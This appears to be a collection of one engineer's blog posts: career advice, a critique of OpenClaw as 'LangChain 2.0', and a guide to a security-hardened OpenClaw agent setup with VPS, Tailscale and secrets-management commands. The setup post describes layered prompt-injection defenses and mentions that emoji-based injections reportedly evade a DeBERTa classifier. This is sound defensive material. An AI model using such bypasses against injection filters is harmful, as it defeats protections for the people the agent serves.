Here’s the distinction. You may not have the technical knowledge or the experience that people at higher levels have, and you can’t wake up tomorrow and decide to have it. Some of that only comes with time, and I respect that. But there are traits you can wake up tomorrow and decide to emulate: organization, communication, ownership. I’ve watched junior developers who are strong technically but can’t seem to make one idea click: they aren’t just junior engineers anymore; they’re professional software engineers, and they can take real ownership over things.

Ownership starts with asking questions. When your boss comes to you and says I need you to do this thing, don’t just do it. Ask why. (Maybe don’t ask “why” obnoxiously; that can come off a little precocious.) Ask what’s driving it. What’s the context? Who’s asking for this, and who’s pushing for it? Then interrogate a little. Why are we doing it the way we’re doing it? What are the reasons behind the design? Junior developers, and plenty of mid-level developers too, feel uncomfortable inserting themselves into a project through questioning. But I approach every project by asking how I can add value to it. Lots of engineers, especially in the age of AI, can take a ticket and do it. I view my job differently. My job is not to take a thing and execute it. My job is to apply my knowledge, my skills, my experience, and my critical thinking to uniquely make the things I’m working on better.

Maybe I’m at an advantage because I worked for a startup early in my career. I became a data engineer with a huge scope of responsibility for the ETL pipelines of a company whose primary product was the data being collected. When I walked in, the ETL scripts I owned were literally scripts running on the head data scientist’s laptop (which lived under his desk). We were trying to scale; customers wanted more and more data, and we needed to process it faster. This was a critical flow of the business, so I had to figure it out. I had to ask the questions, understand all the constraints, and own the outcome. It wasn’t enough to build an ETL pipeline; I had to build it in a way that met our business objectives, and I had to build it reliably. That experience shaped my mindset around really owning outcomes more than anything else in my career.

The communication side is similar. When I start on a project, I overcommunicate. I give frequent updates, try to be very clear, and pull people into the conversation to make sure we’re all on the same page with the design. I’m also not shy about going through different departments to figure things out and to get people moving on the things that need to get done. A lot of people just don’t operate with that level of ownership. They look at the task, go off, and do the task, but they never own the outcome or the end-to-end execution. And those are exactly the traits you’re expected to embody as you take on more responsibility. Unfortunately, some people never make those jumps, and they cap themselves no matter how strong they are technically.

So this has become the biggest piece of advice I give when I mentor: if there’s a level you want to get to, wake up and start thinking of yourself as that level, and start trying to operate there. Look at the people around you and how they work: the ownership, the communication, the way they take a task and run with it, the improvements that come out of their analysis and critical thinking. You can do all of those things now. Yes, experience gives you a bigger base to draw from. I can ask more particular questions today because I’ve done enough projects to have caught myself deep in one, staring at something that needed a significant change, thinking: if only I had asked one question earlier, I could have avoided all this rework. As a staff engineer, I have that to draw on. But junior and mid-level developers, y’all can still do this without it. And doing it becomes an accelerant for your experience, because that level of ownership puts your back against the wall and forces you to really figure things out.

Passion Is the Forcing Function

Some engineers I’ve talked to really struggle with the idea of being a novel ideator, and I don’t know how to teach that directly either. But I think it comes from a place of passion about the work.

For me, the passion comes from something simple: if I’m going to spend 40 to 60 hours a week on something, I have to give a shit about it. I can’t physically not care, because I know how valuable my time and my life are. If I’m doing something, I’m doing it at 110%, and that includes having strong opinions and trying to put my own stamp on it.

I was listening to a podcast recently and they quoted Cal Newport on passion and calling in one’s work. The gist (and I may be misquoting) was that passion is a function of competence and confidence in your ability to do the work. That struck me, because it reframes the whole thing. A lot of people tell me they want the kind of organizational impact that requires bringing something novel, and the reality is we’re now competing with AI synthesis. There’s a lot AI doesn’t have context for, or can’t yet synthesize well. As humans we experience things differently; we filter and remember differently; we draw conclusions from things across the stack and the organization that were never properly documented. Some things are too wide and too nuanced to fit into a prompt.

Over time, as more organizations get their information into RAG systems and AI understands wider and wider stacks, this edge will narrow. But right now, the novel synthesis of your own experience with your problem domain, plus the undocumented and nuanced things you know about the stack and the organization, is the real value humans add on top of AI as a tool.

Here’s where the reframe earned its keep for me. Some engineers say they don’t feel close enough to the product to have a strong opinion, or that they haven’t worked on something long enough to even generate ideas. You may not be able to manufacture novel ideation on command. But if you treat confidence and competence as the two levers that build passion, then focusing on those should, over time, develop the passion that leads to ideation.

I’ll be honest that I’m making a logical leap there. I’m not certain there’s a clean internal link between passion and ideation. But my own intuition is that a lot of my ability to ideate comes from how much I care about the work.

How You Actually Develop It

So my new advice to interns, junior engineers, and anyone else who wants to stay impactful in this strange new environment is simple: focus on developing passion, and work on something you can be passionate about.

I’d err on the side of Newport’s argument that passion can be developed. It isn’t binary, and it isn’t static. If something interests you, run toward it. Build your confidence working in the domains you find interesting and focus on building competence.

AI is a great tool for that, not so much for generating code as for helping you understand the codebase and the stack you’re in. Yes, it gets things wrong. I run my AI in an IDE specifically so I can command-click through the references it surfaces and verify the specific things it tells me. But it can get you to a level of competence in a codebase fast enough that you can start to feel some passion for it.

Would I have said I was passionate about support tooling before I joined Shopify? No. I’m passionate about it now, because I’ve built confidence and, arguably, competence in it (you can ask my boss about that one), and I’ve come to understand it better. Now I genuinely want to make tooling that makes our merchants’ lives better and makes the advisors who support those merchants more effective.

It’s probably easier at a company like Shopify. Whatever general criticisms one can level at corporations, I find real solace in the stories of the people who build small businesses on the platform. I have friends and family who run stores. The testimony that sticks with me is the simplest one: we wanted to sell t-shirts online, and Shopify made it easy. Don’t read this as a Shopify advertisement. But I do find meaning in that work. And the point generalizes. At the insurance company I was passionate about doing good work and building strong solutions. There’s almost always something to find.

Build Your Own Table

I’m skeptical of corporate values and I make fun of them constantly, but I’ve come to respect Shopify’s GSD. Underneath the acronym it’s really just: care, give a shit. Maybe that’s naive. But I think the people who actually care get 10X further than the people who are pompously detached. Most of us are still employees building someone else’s company, and that’s a trade-off we make, but you can still find a lot of passion inside it.

In a world where pulling tickets and executing on them has become fast and cheap, there’s still some value in a human supervising the AI and having opinions about how things get built. But you have to be more than that, and to be more than that, you have to care. It’s hard to force otherwise.

I was joking with my own boss the other day that at least 25% of my career success comes down to the fact that I just speak up. You’d be surprised how many people keep their heads down and never do it, and how badly people underestimate the value of putting themselves out there.

I know this is harder in a big company, where it’s easy to stay in your lane and think of yourself as nothing more than your current title or your current role. Some of you work in cultures where speaking up isn’t as encouraged, and you may need to be strategic about how you do it. But I’ve worked at a variety of companies at this point in my career, and the vast majority of the time this approach, even when it gets read as precocious or pretentious, is the thing that has served me well.

So when people ask how to be impactful in 2026 (how to grow their career, how to keep climbing in influence and pay), my answer comes back to building that seat for yourself. You build it through strong execution, ownership, and ideation, and I think ideation is an outflow of the passion and the give-a-shit-ness you bring. I can’t teach the precociousness or the outspokenness I seem to have had inherently. But passion is something you can work to develop, and the fruit from that tree will carry you a long way. If you want the seat, if you want to be in the room, you have to get after it, and that starts with changing your mindset and refusing to be constrained by your current state.

I want to caveat this up front: this is not intended as a disparagement of either LangChain or OpenClaw. I contributed code to LangChain in its first six months. I respect what it did, particularly as a locus for concentrating the patterns people were figuring out and making them accessible. And I think what the team built with LangGraph and LangSmith is considerably better than the original LangChain. I’m also on record as being genuinely impressed by parts of OpenClaw, having spent the last few weeks building out a pretty involved setup. So this isn’t coming from a place of dismissal. It’s coming from a place of recognition.

LangChain emerged at a moment when there was a real gap. People had these powerful LLMs stuck behind chat interfaces, and LangChain promised to take AI from simple chatbot territory into something transformative: hook up your data, chain your prompts, build real applications. That generated enormous hype. I was at the Gartner conference in 2023 and heard, repeatedly, that every enterprise should be figuring out how to leverage LangChain. They literally had a slide up in front of thousands of enterprise tech leaders telling them now was the time to learn LangChain. In retrospect, that was incredibly premature.

That sounds familiar, doesn’t it? Because it feels like, three and a half years later, we’re hearing the same narrative again. Even with all the evolution we’ve gotten with things like Claude Code, Pi, and the agentic applications that have been in production for a long time (including ones I work on at Shopify), there’s still this push for the thing that’s going to truly explode autonomous agents. And right now, OpenClaw is positioned as that thing. Jensen Huang of NVIDIA said every enterprise needs an OpenClaw strategy. I heard that and had an immediate flashback to the Gartner floor.

The Pattern I Keep Recognizing

When I first saw OpenClaw, my immediate reaction was: this is AutoGen all over again. The idea that an AI agent could develop its own skills, manage its own context, act proactively across your entire digital life. We tried versions of this before. But I’ll admit that as I started looking at actual use cases, I began to see some real potential, particularly after hearing how people like Claire Vo were setting it up thoughtfully and securely.

And I did get a lot of value out of it. I’ve used it to help get a grip on my calendar, unsubscribe from things, set up better email filtering rules. The proactive email moment I described in my previous post was genuinely impressive. For every use case like that, though, I spent a corresponding number of hours fighting with configuration.

That is what reminds me the most of LangChain. I remember trying to do the things I’d heard people do, configuring it myself, and fighting with LangChain the entire way. That is why I ended up contributing code: if I am going to fix things, I try to upstream them. And I find myself in the exact same place with OpenClaw right now.

The Twilio Breaking Point

I was genuinely excited about giving my agent a phone number. Outgoing calls on my behalf, with the transparency rules I’d already established. But I could not get it working. With my multi-thread approach in Slack and the process isolation I’d set up, I kept running into an issue where OpenClaw couldn’t see an already-running process and kept trying to spin up a new RPC server for Twilio whenever the tool was invoked in a new session.

I spent hours on this. I consulted Claude Code via Opus. The only thing that partially worked was an extremely hacky workaround: calling it via the OpenClaw CLI as a subprocess from within the OpenClaw code itself. It did technically produce some outgoing calls, but the latency was terrible, the errors were frequent, and even when calls connected, there was a 10 to 15 second delay before the LLM would respond. That’s not usable. That’s a demo you show someone at a conference, not something you’d actually rely on.

At one point I sat there and thought: why am I spending this much time trying to get this thing to work when what I actually want to be doing is configuring the agent to do useful things?

That was the moment I recognized the pattern. That feeling, where the concepts are genuinely cool and the capabilities are real but you are fighting the tool instead of using the tool, is exactly what I watched hundreds of people express about LangChain in 2023 and 2024.

What I’m Actually Considering Now

I’m researching the smaller alternatives: PicoClaw, NanoClaw. I want to see if they resolve some of the configuration overhead I’m hitting. But I think I could probably build the one-twentieth of OpenClaw’s codebase that I actually need, especially without all the layers of config abstraction.

I could probably build most of what I use on top of Pi and leverage Pi skills, or even directly on top of Claude Code. Anthropic seems to be thinking along similar lines with Claude Code Dispatch, though it doesn’t support threads yet, and I really value the modality of having threaded Slack conversations where I can spawn multiple sessions and have agents working on different things in parallel with separate context.

So what I’m actually considering is building my own minimal solution. Anti-claw, you could call it. With only the functionality I need: primarily a Slack interface to an agent harness, probably built on Pi, with my own Twilio connector and direct connectivity to the services I actually use. The thing I keep coming back to is that for every piece of genuinely useful functionality OpenClaw gives me (and there is real value in the incoming channels, the email and calendar integrations, the coding agency, ACP for Claude Code, third-party skills like Monarch for money management), there’s a corresponding amount of configuration friction that makes me question whether the abstraction is earning its keep.

I’m Open to Being Wrong

I’ll acknowledge the criticism that maybe I’m being unimaginative here. Maybe I’m not pushing OpenClaw hard enough, or maybe the way I’ve set it up with isolation and security constraints makes it harder than it would be for someone who goes full YOLO on a Mac mini with unrestricted access. I’ve seen genuinely impressive use cases from people who do that: running small businesses, automating entire workflows. It can clearly do impressive things when you give it the run of the place.

But I spend all day building and debugging agents professionally. The last thing I want out of a personal AI assistant is something I have to spend multiple hours every evening wrenching on to get one piece of functionality working. I want the tool to make my life easier, not become another project I am maintaining.

Where This Lands

I think OpenClaw is LangChain 2.0. I do not say that to be dismissive. I say it because I see the same pattern: a valued pioneer in the space that caught enormous viral attention, that introduced genuinely cool concepts, but that I do not think will have long-term staying power in its current form. I think we will look back on it the way we look back on early LangChain, or on early 3D printing for that matter, where if you were into it, you spent more time fussing with your printer than you spent actually printing cool things.

I learned some cool concepts from this process. The proactive agent behavior I described in my previous post is real, and the executive assistant framing genuinely works. But I am now looking for, or more likely going to build, a more minimal harness for the functionality I actually use. One that is more natively compatible with the security and usage patterns I find necessary: process isolation, threaded multi-session Slack interfaces, explicit domain allowlisting, and agents that operate under their own identity rather than mine.

The concepts OpenClaw exposes are worth knowing. But the implementation has enough questionable decisions, redundant configs, and rough edges that for someone who wants to use the tool rather than tinker with the tool, you are better off building the pieces you need yourself. That is where I have landed after a few weeks of genuine effort.

I’ll admit I deliberately stepped back from the OpenClaw hype when it first hit. Not because I doubted the underlying capability (I’d seen enough demos to know there was something there), but because the default setup I kept seeing looked, to be direct, insane. People logging into their personal accounts on Mac minis, giving an AI agent unfettered access to their email, their files, their calendar. I’m impressed with what some of them pulled off. I was also watching and thinking: I would never do that.

What actually got me to reconsider was an episode of the How I AI podcast from a few weeks back. Claire Vo described her OpenClaw setup, and the key detail was that she’d given the agent its own Google account. Its own email, its own calendar. She shared her calendar with the agent so it could see her availability, but the agent wasn’t creating events as her. It was acting like an executive assistant, creating things from its own account and sharing them. That distinction matters. You don’t give a new EA your login credentials. You give them their own identity and a clearly scoped set of things they can see and touch.

That became the starting point.

The Mental Model That Made This Work

The executive assistant framing isn’t just a nice analogy. It’s the actual architecture. Once I committed to it, most downstream decisions became obvious.

I set up a separate Google account for the agent with selective calendar sharing, configured 1Password CLI with a read-only vault containing only the credentials I want the agent to have access to, and created a dedicated openclaw system user on the VPS, isolated from my admin account with no sudo. The agent isn’t me. It has its own identity and a defined perimeter.

For model backends: OpenAI’s API with my ChatGPT subscription handles the core agentic loop. Anthropic doesn’t allow their Claude subscription for OpenClaw’s primary driver, so that’s off the table there. But Claude Code does run as a subagent (that’s approved usage), which means I can spin off Opus and Sonnet for coding tasks without burning my API token budget. Gemini fills in as a fallback and for image generation. In practice, most heavy token operations hit subscriptions rather than pay-per-token, which keeps the runaway cost exposure low.

For prompt injection, I’m running multiple layers. OpenClaw Defender is a repo I almost skipped because it only has six stars, which made me nervous enough that I read through the code before installing it. The approach is solid: fast deterministic checks against known injection patterns, then a DeBERTa-based classifier trained specifically to detect prompt injection. It has high recall, but it’s not perfect. SecureClaw complements it by injecting behavioral instructions into the agent’s memory files, including guidance around emoji-based injection patterns that Microsoft researchers found could bypass DeBERTa. I chose not to add a third LLM in the loop for secondary classification. The latency trade-off didn’t feel worth it for a personal setup, and I had a concern about implicit authority creep, where something that’s already cleared multiple layers ends up treated as more trusted than it should be.

The final layer is a Squid proxy wrapping all outbound traffic from the OpenClaw process, with an explicit domain allowlist. The browser runs in an isolated Docker container and can make arbitrary requests outside the proxy. Yes, I’ve thought about what that means. The proxy containment is for the main process. The browser isolation is about blast radius: if the agent hits a malicious site and something executes, it lands in the container, not on the host. Container escapes are real, but I’m not trying to solve every possible scenario. I’m trying to add boundaries that matter in the likely cases.

Yes, I realize that publishing a detailed blog post about my security setup somewhat undermines the concept of security through obscurity. But I haven’t found a concise, all-in-one guide for this that isn’t behind a Medium paywall, and I think the value of people being able to set this up responsibly outweighs whatever marginal advantage obscurity would have given me.

The Setup Journey, Honestly

The original plan was to run this on an old desktop I had sitting under a table in a spare room. It used to be a hackintosh. I got it running, loved it, and then at some point macOS updates got too painful to chase and I replaced it with a real Mac and just… left the desktop under the table. For years. It had 32 gigs of RAM and a discrete GPU, which felt like exactly the kind of machine you’d want for this. So I dusted it off, made a USB installer, had the whole plan ready.

Then I opened the case. I figured I’d at least check on things before powering it on for the first time in years. I noticed one of the RGB LED strip connectors had come loose, which seemed easy enough to fix. I went to plug it back in and immediately got a short. It took out the cooler LEDs, the RGB controller, and as I found out over the next hour of increasingly frantic troubleshooting, the PSU. The paperclip test confirmed it. The machine that was going to become my capable, cost-free OpenClaw host was now just an expensive desk ornament with a dead power supply.

So: lesson one of my OpenClaw setup journey is don’t short your PSU while trying to fix something that was already working fine.

So I went with a Hetzner CPX31: 4 vCPU, 8 GB RAM, roughly $12/month with automated backups. That ended up being a better outcome. The SSH latency from the US is noticeable (the server’s in Germany), but agent response times are completely acceptable. The latency that matters is model inference, and that happens at Anthropic/OpenAI/Google’s infrastructure regardless of where your VPS is.

Getting everything wired up took more trial and error than I expected. The browser container required an iptables entry to remap a port before Chrome’s DevTools Protocol would reliably connect. There was a stretch where I was convinced Anthropic was blocking me. I kept getting 400 errors whenever I tried to authenticate Claude Code from the openclaw user account. Eventually I figured out the Squid proxy didn’t have the Anthropic domains on the allowlist. Every error was a proxy rejection, not Anthropic doing anything. That diagnosis took longer than it should have, and by the time I got there I’d burned roughly $50 in Opus tokens having it help me troubleshoot. I’ve documented the correct allowlist entries in the setup guide specifically so no one makes that particular mistake.

The other significant pivot was moving from Telegram to Slack. Telegram is what every getting-started guide recommends, and the initial setup is easier. But I hit serious problems trying to get topic-based threading to work reliably with the allowlist configuration. I wanted multiple parallel sessions for different contexts: code in one thread, email and calendar in another, research in another. Telegram’s topic model was fighting me the whole way. Slack handles this natively. Each thread is its own session. I have a coding channel, an executive assistant channel, an email and calendar channel, and threads within each channel maintain separate contexts. The agent also reacts with a custom emoji when it receives a message, which gives me an immediate acknowledgment that the invocation went through even if the actual response takes a minute.

Discord apparently works similarly; I haven’t tested it. Either way: skip Telegram entirely, even though all the tutorials start there.

What It’s Actually Doing

Something worth understanding about OpenClaw is that it won’t just spontaneously become proactive on its own. The memory system is powerful, but getting it to actually use that memory to reach out to you without being asked takes deliberate effort. I spent a good amount of time iterating on the SOUL.md and memory files, specifically trying to give it explicit permission and instruction to act proactively: check in on things we’ve discussed, surface emails that connect to prior conversations, flag when something needs a follow-up. The heartbeat runs sub-hourly, which keeps the agent’s context reasonably fresh. I also have a separate cron that fires at 8pm and gives me a briefing on the next day. Both are useful. But I wanted it to go further than that.

The moment I knew it had clicked was getting an unprompted Slack message mid-afternoon about a venture I’ve been evaluating. Nothing triggered it. No cron, no explicit ask. The agent had pulled in an email that came in that day, associated it with a research thread we’d had a few days earlier, and sent me a message with a draft response suggestion that was actually good. In the same message it flagged that a GitHub PR I’d opened in the OpenClaw Defender repo had been sitting without activity and asked if I wanted to follow up on it.

That caught me off guard. The content was substantive, the connections it made were correct, and it came completely out of nowhere from my perspective. That kind of thing happens regularly now. I’ll be in the middle of something and get a Slack message that’s the agent surfacing something I would have forgotten about or not gotten to. It’s not always right about what’s worth flagging, and coaching it toward better signal-to-noise is still an ongoing process, but the behavior is there and it’s useful.

That’s the thing that shifted my read on this. OpenClaw isn’t a new model capability. The models have been this capable for a while. Felix Rieseberg said something along these lines in a recent interview: that the models right now are smarter than most of what people are asking them to do. I’d been thinking about this with a coworker recently and that observation really landed. It explains a lot of why OpenClaw got so much attention so fast. It wasn’t any evolution in what the models could do. It was just taking the training wheels off and going no brakes on the agentic loop to see what actually happened. And what happens, it turns out, is that you can do some impressive things. You can also do some very destructive and questionable things (shout out to the recruiter who sent me a very personalized recruiting email from AgentMail), but the potential is obvious. The model was always there. The harness is what changed. I’d argue this is a specific instance of what I wrote in my last post: your scaffolding is the limiter, not the model. OpenClaw is just more evidence of that principle applied outside of code.

That framing reorients what the setup work is actually for. It’s not about making the model more capable. It’s about giving a capable model enough room to act while being thoughtful about what it has access to.

The Part I Don’t Have Figured Out

The capability I’m most interested in next is voice. There are things I never get to because of the friction of a phone call, e.g. chasing down a quote or following up with a vendor that’s only reachable during East Coast business hours (I work West Coast hours). I know that sounds like the worst first-world problem imaginable, but I think it gets at something honest about where these tools can actually remove friction from your life rather than just feeling impressive.

What I don’t have a clean answer for is consent. I’ve drawn a clear line that the agent should never represent itself as me. It signs emails as “Assistant to Justin Flick” and I’ve been explicit in its instructions that it should be transparent about being an AI. That feels right to me and I’m not willing to budge on it. But I also think there’s a harder version of the question I haven’t resolved. If someone receives an email from my AI assistant, they can decide whether they want to engage with that. They have information. A phone call is different. Someone picking up the phone didn’t sign up to interact with an AI agent, and some people genuinely don’t want that. I think that’s a reasonable position to hold and I want to be respectful of it. I just don’t have a clean policy yet for how to handle it in practice.

I’m raising this because I think it’s worth sitting with, not as a reason to avoid the tools. Part of why I wanted to write about this at all is that I haven’t found a lot of honest discussion about these questions that isn’t either behind a Medium paywall or buried in a Discord. As someone building agentic products professionally, I also think of this as research. Understanding what the bleeding edge of what these agents can actually do, and what the real friction points are, is directly useful for thinking about how you’d build something more scaled and more responsible.

Where I’ve Landed (For Now)

I’ve surprised myself with how much I’ve come to appreciate OpenClaw over the past few weeks, especially after starting from a pretty skeptical position. The proactive email moment alone was enough to make me want to keep building this out.

I’m still forming my final read on it. The setup work is non-trivial, the security questions are ongoing, and the ethical questions around consent don’t have clean answers yet. I don’t think any of those are reasons not to use it. They’re just the actual shape of the problem, and I’d rather engage with them directly than pretend the whole thing is frictionless.

If you’re considering this: start with the executive assistant framing, give it its own accounts, lock down the system surface, and skip Telegram. The setup guide has the rest.

I’ve been running OpenClaw as a self-hosted personal AI assistant for a few weeks now. The default setup is straightforward, but getting it production-hardened, e.g. isolated network, secrets managed properly, browser sandboxed, prompt injection guarded — took considerably more work than the docs suggest. This guide is the consolidated version of what I’ve learned.

The goal here isn’t “quickest path to running OpenClaw.” It’s a setup you can trust slightly more than the default: one where a compromised prompt can’t exfiltrate your API keys, where your personal accounts stay untouched by bot activity, and where secrets aren’t sitting in plaintext on disk.

I’d suggest reading through the whole thing before starting. The sections build on each other in ways that aren’t always obvious, and a few ordering decisions — particularly around Tailscale, the openclaw system user, and the proxy setup — matter a lot.

1. VPS Selection

Recommended: Hetzner CPX31 — 4 vCPU, 8 GB RAM, NVMe SSD, roughly $11/month. This is the community sweet spot for OpenClaw with browser automation and VNC. OpenClaw’s performance scales more with RAM and disk speed than raw CPU — the actual AI processing happens on model provider infrastructure (Anthropic, OpenAI, Google), not on your VPS. Your server handles the gateway, messaging, skill execution, and the Docker sandbox browser.

Alternatives:

• Budget: Hetzner CX22 — 2 vCPU, 4 GB RAM, ~$4/month. Tight but workable for basic setups without VNC.
• US-based: DigitalOcean — 4 vCPU, 8 GB droplet, ~$24/month. Better US latency, excellent docs.
• Free: Oracle Cloud Always Free — 4 vCPU, 24 GB ARM. Generous specs, but signup is inconsistent and some users report idle account terminations. Add a credit card and upgrade to Pay As You Go to be safe.

OS: Ubuntu Server 24.04 LTS. OpenClaw’s browser automation runs headless via Chrome DevTools Protocol — no display server needed. Ubuntu Server is lighter, smaller attack surface, fewer unnecessary services.

2. Provision the VPS

# SSH in with the key you uploaded
ssh root@<server-public-ip>

# Change root password immediately (store in 1Password)
passwd

# Update everything
sudo apt update && sudo apt upgrade -y && sudo apt dist-upgrade -y

# Set hostname
sudo hostnamectl set-hostname openclaw-server

After Tailscale is configured in the next step, you’ll lock SSH to the tailnet only and stop using the public IP entirely.

3. Initial Server Hardening

# Install essentials
sudo apt install -y ufw fail2ban unattended-upgrades curl git jq

# Enable automatic security updates
sudo dpkg-reconfigure -plow unattended-upgrades

# Create your admin user (don't keep using root)
adduser yourusername
usermod -aG sudo yourusername

# Copy SSH key to the new user
mkdir -p /home/yourusername/.ssh
cp ~/.ssh/authorized_keys /home/yourusername/.ssh/
chown -R yourusername:yourusername /home/yourusername/.ssh

# Firewall — allow SSH only for now
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw enable

# Harden SSH
sudo sed -i 's/#PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
sudo sed -i 's/#PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
sudo systemctl restart ssh

Verify you can SSH in as your new user before disabling root login — test in a separate terminal first.

4. Install and Configure Tailscale

Tailscale creates an encrypted WireGuard mesh between your devices. Once installed, the OpenClaw machine is accessible only from your tailnet — no public ports exposed.

curl -fsSL https://tailscale.com/install.sh | sh

# Start with SSH enabled
sudo tailscale up --hostname openclaw-server --ssh

# Verify and note your tailnet IP
tailscale status
tailscale ip -4  # Note your 100.x.x.x address

Lock the firewall down to Tailscale only

sudo ufw allow in on tailscale0
sudo ufw delete allow ssh  # Remove public SSH access
sudo ufw reload

From this point, the machine is only reachable via Tailscale. Test by SSHing to the Tailscale IP from a device on your tailnet before proceeding.

Key rules:

• Always use tailscale serve to expose the OpenClaw dashboard — this keeps it private to your tailnet.
• Never use tailscale funnel for the dashboard or WebChat — Funnel exposes services to the public internet.

5. Create a Dedicated System User

Never run OpenClaw as your admin user or as root. A dedicated user limits the blast radius if the agent misbehaves or is compromised.

# Create the openclaw user with a home directory
sudo useradd -m -d /home/openclaw -s /bin/bash openclaw

# Set a strong password (store in 1Password)
sudo passwd openclaw

# Enable lingering so systemd user services work without an active login
sudo loginctl enable-linger openclaw

The openclaw user should have no access to your personal home directory and no sudo privileges. Do not use useradd -r — system accounts don’t get systemd user sessions, which breaks the gateway service.

6. Set Up 1Password Secrets Management

Instead of storing API keys in plaintext .env files, use 1Password’s CLI with a service account to inject secrets at runtime.

On your personal machine

1. Create a new vault in 1Password called “OpenClaw” (service accounts can’t access Personal/Private vaults).
2. Add your bot’s credentials to this vault as you create them — API keys, tokens, passwords. You don’t need everything now; add items as you go.
3. Create a service account: 1Password.com → Developer → Service Accounts → Create. Name it “OpenClaw Server.” Grant it read-only access to the “OpenClaw” vault only. Save the token immediately — it’s only shown once.

Service account permissions are immutable after creation. If you need to add vault access later, you must create a new service account.

Install the 1Password CLI on the server

# As your admin user (not openclaw), install the 1Password CLI
cd /tmp
curl -fsSL https://cache.agilebits.com/dist/1P/op2/pkg/v2.30.0/op_linux_amd64_v2.30.0.zip -o op.zip
unzip op.zip
sudo mv op /usr/local/bin/
rm op.zip
op --version

# Switch to the openclaw user
sudo -i -u openclaw

# Store the service account token with restrictive permissions
echo 'export OP_SERVICE_ACCOUNT_TOKEN="ops_YOUR_TOKEN_HERE"' > ~/.op_token
chmod 600 ~/.op_token
source ~/.op_token

# Test that the CLI can reach your vault
op vault list  # Should show the "OpenClaw" vault

One honest tradeoff to acknowledge: the service account token (ops_...) must be stored somewhere on the machine in plaintext — that’s the one secret you can’t avoid. Restrict it to 600 permissions owned by the openclaw user, and accept that the machine needs outbound access to 1Password’s API at startup.

7. Create Dedicated Bot Accounts

OpenClaw’s own security docs warn against signing the agent into your personal accounts. The isolation matters, and it’s worth the setup overhead.

Google Account (email & calendar)

Google API access requires OAuth 2.0 — you can’t authenticate with just a username and password.

1. Create a new Google account (e.g., yourname.agent@gmail.com). Store the password in your “OpenClaw” vault.
2. Let the account age a few days before wiring up API access. Google’s abuse detection can flag brand new accounts that immediately start making API calls. Send a few normal emails, add a calendar event.
3. Sign into Google Cloud Console with the bot’s account. Create a new project.
4. Enable: Gmail API, Google Calendar API, Google Drive API, Google Docs API, Google Sheets API, Google Slides API.
5. Configure the OAuth consent screen:
   • Audience: External user type. Add the bot’s email as a test user. Testing mode works fine — gogcli handles re-auth when tokens expire after 7 days.
   • Data Access: Add scopes for gmail.modify, calendar.events, drive, documents, spreadsheets, presentations. If scopes don’t appear in the picker, paste them manually — they only show up for APIs you’ve already enabled.
6. Create OAuth credentials: APIs & Services → Credentials → Create Credentials → OAuth client ID.
   • Application type: “Web application” — not Desktop app. Desktop app clients don’t allow custom redirect URIs, which gogcli needs on headless servers.
   • Authorized redirect URI: http://127.0.0.1:8080/oauth2/callback
   • Download the credentials JSON.
7. Transfer to the server:

   mkdir -p ~/.openclaw/credentials
   scp client_secret_*.json openclaw@<tailscale-ip>:~/.openclaw/credentials/google-credentials.json
   

Install gogcli on the server:

# As your admin user
sudo apt install -y golang-go make
cd /tmp
git clone https://github.com/steipete/gogcli.git
cd gogcli
make build
sudo mv bin/gog /usr/local/bin/
cd /tmp && rm -rf gogcli
gog --version

Authorize (headless OAuth via SSH tunnel):

# As the openclaw user
gog auth credentials ~/.openclaw/credentials/google-credentials.json

The OAuth flow requires a browser. Since the server is headless, forward port 8080:

# On your local machine
ssh -N -L 8080:127.0.0.1:8080 openclaw@<tailscale-ip>

Then on the server in a separate session:

gog auth add yourname.agent@gmail.com \
  --listen-addr 127.0.0.1:8080 \
  --services gmail,calendar,drive,docs,sheets,slides \
  --force-consent \
  --timeout 10m

This prints an OAuth URL. Open it in your local browser — the SSH tunnel routes the callback back to the server. Sign in with the bot’s Google account and approve permissions.

Persist the keyring password:

cat >> ~/.bashrc << 'EOF'

# gogcli
export GOG_KEYRING_PASSWORD="<your-keyring-password>"
export GOG_ACCOUNT="yourname.agent@gmail.com"
EOF

Store GOG_KEYRING_PASSWORD in 1Password (vault: OpenClaw, title: GOG_KEYRING_PASSWORD, field: credential) and add to ~/.openclaw/.env:

GOG_KEYRING_PASSWORD=op://OpenClaw/GOG_KEYRING_PASSWORD/credential

Add GOG_ACCOUNT as a plain Environment= line in the systemd service file — it’s not a secret.

GitHub Machine User Account

GitHub’s docs explicitly support “machine user” accounts — regular accounts created to automate activity. This gives the bot its own identity for commits, PRs, and co-authorship. Machine users also work with the standard fork-and-PR workflow for repos you don’t own, which GitHub Apps cannot do.

1. Create a new GitHub account using the bot’s email. Username like yourname-agent.
2. Enable 2FA. Store the TOTP secret in your personal vault (not the bot’s — the bot authenticates via PAT, which bypasses 2FA).
3. Generate a fine-grained PAT from the bot account. Scope it to specific repositories. Minimum permissions: Contents read/write, Pull requests read/write. Set 90-day expiration with a rotation reminder.
4. Store the PAT in your “OpenClaw” vault. Invite the bot as a collaborator on repos it needs access to.

Configure Git on the server:

# As your admin user, install GitHub CLI
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list
sudo apt update && sudo apt install -y gh

# As the openclaw user
git config --global user.name "yourname-agent"
git config --global user.email "yourname.agent@gmail.com"

# Authenticate with the PAT (pipe it to avoid shell history)
op read "op://OpenClaw/github-bot/pat" | gh auth login --with-token
gh auth setup-git

After this, the agent can run git clone, git push, and gh pr create without knowing anything about authentication.

Telegram Bot

Create this before installing OpenClaw — the onboarding wizard will ask for the token.

1. Open Telegram, search @BotFather, send /newbot.
2. Choose a display name (e.g., “Justin’s Assistant”) and a username ending in bot (e.g., justins_openclaw_bot).
3. BotFather replies with a bot token. Store it in your “OpenClaw” vault.
4. Get your Telegram user ID: search @userinfobot and start a chat. It returns a numeric ID — save it for the allowlist in Section 15.

8. Install OpenClaw

# As the openclaw user
curl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash
source ~/.bashrc
nvm install 22
nvm use 22

npm install -g openclaw@latest

# Run the onboarding wizard
openclaw onboard --install-daemon

